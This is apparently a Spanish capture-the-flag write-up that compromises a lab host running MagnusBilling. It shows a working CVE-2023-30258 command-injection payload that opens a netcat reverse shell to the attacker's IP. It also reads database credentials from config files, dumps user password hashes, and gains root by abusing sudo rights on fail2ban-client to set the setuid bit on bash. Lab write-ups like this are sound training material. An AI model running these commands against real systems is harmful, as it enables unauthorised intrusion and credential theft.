sudo nmap -sC -sV -p- 10.10.203.95
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.56 ((Debian))
3306/tcp open mysql MariaDB 10.3.23 or earlier (unauthorized)
5038/tcp open asterisk Asterisk Call Manager 2.10.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
http://10.10.203.95/mbilling/
Figura 1: Acceso al portal web (Puerto 80)
Veremos un panel de autenticación
Con la extensión para navegadores llamada Wappalyzer identificaremos que utiliza el software MagnusBilling con ExtJS 6.2.0.981
Figura 2: Tecnologías encontradas con Wappalyzer
Encontramos un panel de autenticación del software MagnusBilling, este utiliza ExtJS con versión 6.2.0.981
CVE-2023-30258 - Ejecución remota de código sin autenticación
URL de referencia: https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258
En primer lugar pondremos un servicio a la escucha con Netcat en el puerto 443
nc -lvnp 443
Figura 3: Servicio a la escucha con Netcat (puerto 443)
Esta vulnerabilidad se basa en poder establecer una shell reversa desde la URL:
curl 'http://10.10.203.95/mbilling/lib/icepay/icepay.php?democ=iamhacked;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%2010.9.2.107%20443%20%3E%2Ftmp%2Ff;#'
Figura 4: Ejecución de la llamada a la Shell Reversa en la terminal de Kali Linux
Con ello obtenemos una shell reversa como usuario asterisk
Figura 5: Recibimos acceso en el servicio a la escucha con Netcat
which id
/usr/bin/id
Figura 6: Comprobación de usuario en la Reverse Shell
Investigando el resto de directorios, encontraremos un fichero web que incluye la configuración de conexión con la base de datos:
cat /var/www/html/mbilling/protected/config/main_production.php
Figura 7: El fichero main_production.php contiene una ruta con un fichero de configuración
Encontramos referencia al archivo de configuración MySQL:
/etc/asterisk/res_config_mysql.conf
cat /etc/asterisk/res_config_mysql.conf
Figura 8: Credenciales de acceso encontradas
mysql -u mbillingUser -p
show databases;
select username,password from pkg_user;
Figura 9: Investigación de la base de datos
Enumerando desde el directorio home vewremos que existe el usuario Magnus,desde el cual logramos leer la flag de usuario:
cd /home/magnus
cat user.txt
Figura 10: Tenemos al alcance la User Flag
Figura 11: User Flag
Vamos a listar el contenido del uuario Magnus
ls -la
Figura 12: Vemos el directorio .ssh
Figura 13: Permisos denegados sobre .ssh
Vemos que existe el directorio .ssh, pero no tenemos permisos para leer la clave privadas
Llegados a este punto vamos a intentar comprobar que permisos tenemos con el usuario Magnus
sudo -l
Figura 14: Permisos de root sobre fail2ban-client
Podremos ejecutar el servicio de fail2ban-client como root, por otro lado vemos que utiliza la versión de fail2ban-client 0.11.2
sudo -u root /usr/bin/fail2ban-client version
Figura 15: Fail2ban-client version 0.11.2
Se configurará entonces una acción en fail2ban-client para cambiar los permisos del binario bash. Luego, se ejecuta un baneo manual a una IP, lo que dispara la acción y permite leer la flag de root.
sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'chmod +s /bin/bash
Figura 16: Configuración de fail2ban-client para cambiar los permisos del binario bash
sudo /usr/bin/fail2ban-client set asterisk-iptables banip 10.10.203.95
Figura 17: Configuración de fail2ban-client para bloqueo de IP
Fail2ban modificará los permisos de /bin/bash y nos hará tener privilegios totales sobre dicha carpeta.Para verificar los permisos de /bin/bash para asegurarnos de que el bit setuid esté activado:
ls -lna /bin/bash
Figura 18: Permisos modificados correctamente
Iniciaremos una nueva sesión de bash con privilegios:
bash -p
Figura 19: Acceso a nua nueva terminal de bash
whoami
Figura 20: Comprobación de privilegios
cat /root/root.txt
Figura 21: Root Flag